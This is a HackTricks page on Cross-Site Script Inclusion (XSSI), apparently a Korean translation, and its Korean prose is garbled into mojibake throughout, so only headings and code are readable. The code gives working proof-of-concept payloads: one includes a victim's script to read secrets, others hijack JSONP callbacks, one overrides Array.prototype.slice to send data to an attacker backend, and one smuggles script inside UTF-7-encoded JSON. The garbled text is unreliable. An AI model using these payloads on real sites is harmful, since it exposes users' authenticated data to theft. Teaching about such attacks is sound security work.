XSSI (Cross-Site Script Inclusion)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
**Cross-Site Script Inclusion (XSSI)**๋ HTML์ script ํ๊ทธ์ ํน์ฑ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์
๋๋ค. ๋๋ถ๋ถ์ ๋ฆฌ์์ค๊ฐ **Same-Origin Policy (SOP)**์ ์ ์ฉ์ ๋ฐ๋ ๊ฒ๊ณผ ๋ฌ๋ฆฌ, ์คํฌ๋ฆฝํธ๋ ๋ค๋ฅธ ๋๋ฉ์ธ์์ ํฌํจ๋ ์ ์์ต๋๋ค. ์ด ๋์์ ๋ค๋ฅธ ์๋ฒ์ ํธ์คํ
๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฐ ๊ธฐํ ๋ฆฌ์์ค์ ์ฌ์ฉ์ ์ฉ์ดํ๊ฒ ํ๊ธฐ ์ํ ๊ฒ์ด์ง๋ง, ์ ์ฌ์ ์ธ ๋ณด์ ์ํ๋ ์ด๋ํฉ๋๋ค.
XSSI์ ์ฃผ์ ํน์ง:
- SOP ์ฐํ: ์คํฌ๋ฆฝํธ๋ Same-Origin Policy์ ์ ์ฉ์ ๋ฐ์ง ์์ ๋๋ฉ์ธ ๊ฐ์ ํฌํจ๋ ์ ์์ต๋๋ค.
- ๋ฐ์ดํฐ ๋
ธ์ถ: ๊ณต๊ฒฉ์๋ ์ด ๋์์ ์ด์ฉํด
scriptํ๊ทธ๋ฅผ ํตํด ๋ก๋๋ ๋ฐ์ดํฐ๋ฅผ ์ฝ์ ์ ์์ต๋๋ค. - ๋์ JavaScript/JSONP์ ๋ฏธ์น๋ ์ํฅ: XSSI๋ ๋์ JavaScript ๋๋ **JSON with Padding (JSONP)**์ ํนํ ๊ด๋ จ์ด ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ ์ข ์ข ์ธ์ฆ์ ์ํด โambient-authorityโ ์ ๋ณด(์: ์ฟ ํค)๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๋ค๋ฅธ ํธ์คํธ์ ์คํฌ๋ฆฝํธ ์์ฒญ์ด ์ด๋ฃจ์ด์ง ๋, ์ด๋ฌํ ์๊ฒฉ ์ฆ๋ช (์: ์ฟ ํค)์ ์์ฒญ์ ์๋์ผ๋ก ํฌํจ๋ฉ๋๋ค.
- ์ธ์ฆ ํ ํฐ ์ ์ถ: ๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ๋ฅผ ์์ฌ ์์ ์ด ์ ์ดํ๋ ์๋ฒ์์ ์คํฌ๋ฆฝํธ๋ฅผ ์์ฒญํ๊ฒ ๋ง๋ค ์ ์๋ค๋ฉด, ์ด๋ฌํ ์์ฒญ์ ํฌํจ๋ ๋ฏผ๊ฐํ ์ ๋ณด์ ์ ๊ทผํ ์ ์์ ๊ฒ์ ๋๋ค.
์ ํ
- ์ ์ JavaScript - XSSI์ ์ ํต์ ์ธ ํํ๋ฅผ ๋ํ๋ ๋๋ค.
- ์ธ์ฆ์ด ํ์ํ ์ ์ JavaScript - ์ด ์ ํ์ ์ ๊ทผ์ ์ํด ์ธ์ฆ์ด ํ์ํ๋ค๋ ์ ์์ ๋ค๋ฆ ๋๋ค.
- ๋์ JavaScript - ๋์ ์ผ๋ก ์ฝํ ์ธ ๋ฅผ ์์ฑํ๋ JavaScript๋ฅผ ํฌํจํฉ๋๋ค.
- ๋น JavaScript - JavaScript์ ์ง์ ์ ์ผ๋ก ๊ด๋ จ๋์ง ์์ ์ทจ์ฝ์ ์ ๋ํ๋ ๋๋ค.
**๋ค์ ์ ๋ณด๋ https://www.scip.ch/en/?labs.20160414**์ ์์ฝ์ ๋๋ค. ์ถ๊ฐ ์ธ๋ถ์ ๋ณด๋ ํด๋น ๋งํฌ๋ฅผ ํ์ธํ์ธ์.
์ผ๋ฐ XSSI
์ด ์ ๊ทผ ๋ฐฉ์์์๋ ๊ฐ์ธ ์ ๋ณด๊ฐ ์ ์ธ๊ณ์์ ์ ๊ทผ ๊ฐ๋ฅํ JavaScript ํ์ผ์ ํฌํจ๋ฉ๋๋ค. ๊ณต๊ฒฉ์๋ ํ์ผ ์ฝ๊ธฐ, ํค์๋ ๊ฒ์ ๋๋ ์ ๊ท ํํ์๊ณผ ๊ฐ์ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ฌ ์ด๋ฌํ ํ์ผ์ ์๋ณํ ์ ์์ต๋๋ค. ์์น๊ฐ ํ์ธ๋๋ฉด, ๊ฐ์ธ ์ ๋ณด๊ฐ ํฌํจ๋ ์คํฌ๋ฆฝํธ๋ ์ ์์ ์ธ ์ฝํ ์ธ ์ ํฌํจ๋์ด ๋ฏผ๊ฐํ ๋ฐ์ดํฐ์ ๋ํ ๋ฌด๋จ ์ ๊ทผ์ ํ์ฉํ ์ ์์ต๋๋ค. ์๋์ ์์์ ์ธ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ด ๋์ ์์ต๋๋ค:
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>
Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI
์ด๋ฌํ ์ ํ์ XSSI ๊ณต๊ฒฉ์ ์ฌ์ฉ์์ ์์ฒญ์ ๋ฐ๋ผ ๊ธฐ๋ฐ ์ ๋ณด๊ฐ ๋์ ์ผ๋ก ์คํฌ๋ฆฝํธ์ ์ถ๊ฐ๋๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ์ฟ ํค๊ฐ ์๋ ์์ฒญ๊ณผ ์๋ ์์ฒญ์ ๋ณด๋ด๊ณ ์๋ต์ ๋น๊ตํ์ฌ ํ์ง๊ฐ ์ํ๋ ์ ์์ต๋๋ค. ์ ๋ณด๊ฐ ๋ค๋ฅด๋ฉด ๊ธฐ๋ฐ ์ ๋ณด์ ์กด์ฌ๋ฅผ ๋ํ๋ผ ์ ์์ต๋๋ค. ์ด ํ๋ก์ธ์ค๋ DetectDynamicJS Burp ํ์ฅ๊ณผ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์๋ํํ ์ ์์ต๋๋ค.
๊ธฐ๋ฐ ๋ฐ์ดํฐ๊ฐ ์ ์ญ ๋ณ์์ ์ ์ฅ๋์ด ์๋ ๊ฒฝ์ฐ, Regular XSSI์์ ์ฌ์ฉ๋๋ ์ ์ฌํ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ฌ ์ ์ฉ๋ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ๊ธฐ๋ฐ ๋ฐ์ดํฐ๊ฐ JSONP ์๋ต์ ํฌํจ๋ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ ์ฝ๋ฐฑ ํจ์๋ฅผ ํ์ทจํ์ฌ ์ ๋ณด๋ฅผ ๊ฒ์ํ ์ ์์ต๋๋ค. ์ด๋ ์ ์ญ ๊ฐ์ฒด๋ฅผ ์กฐ์ํ๊ฑฐ๋ JSONP ์๋ต์ ์ํด ์คํ๋ ํจ์๋ฅผ ์ค์ ํ์ฌ ์ํํ ์ ์์ต๋๋ค.
<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
์ ์ญ ๋ค์์คํ์ด์ค์ ์กด์ฌํ์ง ์๋ ๋ณ์์ ๊ฒฝ์ฐ, _prototype tampering_์ด ๋๋๋ก ์
์ฉ๋ ์ ์์ต๋๋ค. ์ด ๊ธฐ์ ์ ํธ์ถ๋ ์์ฑ์ ์ฐพ๊ธฐ ์ํด ํ๋กํ ํ์
์ฒด์ธ์ ํ์ํ๋ JavaScript์ ์ค๊ณ๋ฅผ ํ์ฉํฉ๋๋ค. Array์ slice์ ๊ฐ์ ํน์ ํจ์๋ฅผ ์ฌ์ ์ํจ์ผ๋ก์จ, ๊ณต๊ฒฉ์๋ ๋น์ ์ญ ๋ณ์๋ฅผ ์ ๊ทผํ๊ณ ์ ์ถํ ์ ์์ต๋๋ค:
Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}
๊ณต๊ฒฉ ๋ฒกํฐ์ ๋ํ ์ถ๊ฐ ์ธ๋ถ์ ๋ณด๋ ๋ณด์ ์ฐ๊ตฌ์ Sebastian Lekies์ ์์ ์์ ์ฐพ์ ์ ์์ผ๋ฉฐ, ๊ทธ๋ vectors ๋ชฉ๋ก์ ์ ์งํ๊ณ ์์ต๋๋ค.
Non-Script-XSSI
Takeshi Terada์ ์ฐ๊ตฌ๋ Non-Script ํ์ผ, ์๋ฅผ ๋ค์ด CSV๊ฐ script ํ๊ทธ์ ์์ค๋ก ํฌํจ๋์ด ๊ต์ฐจ ์ถ์ฒ๋ก ์ ์ถ๋๋ ๋ ๋ค๋ฅธ ํํ์ XSSI๋ฅผ ์๊ฐํฉ๋๋ค. Jeremiah Grossman์ 2006๋
๊ณต๊ฒฉ์ผ๋ก Google ์ฃผ์๋ก ์ ์ฒด๋ฅผ ์ฝ๊ณ Joe Walker์ 2007๋
JSON ๋ฐ์ดํฐ ์ ์ถ๊ณผ ๊ฐ์ XSSI์ ์ญ์ฌ์ ์ฌ๋ก๋ ์ด๋ฌํ ์ํ์ ์ฌ๊ฐ์ฑ์ ๊ฐ์กฐํฉ๋๋ค. ๋ํ, Gareth Heyes๋ ํน์ ๋ธ๋ผ์ฐ์ ์์ ํจ๊ณผ์ ์ธ JSON ํ์์ ํ์ถํ๊ณ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๊ธฐ ์ํด UTF-7๋ก ์ธ์ฝ๋ฉ๋ JSON์ ํฌํจํ๋ ๊ณต๊ฒฉ ๋ณํ์ ์ค๋ช
ํฉ๋๋ค.
;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


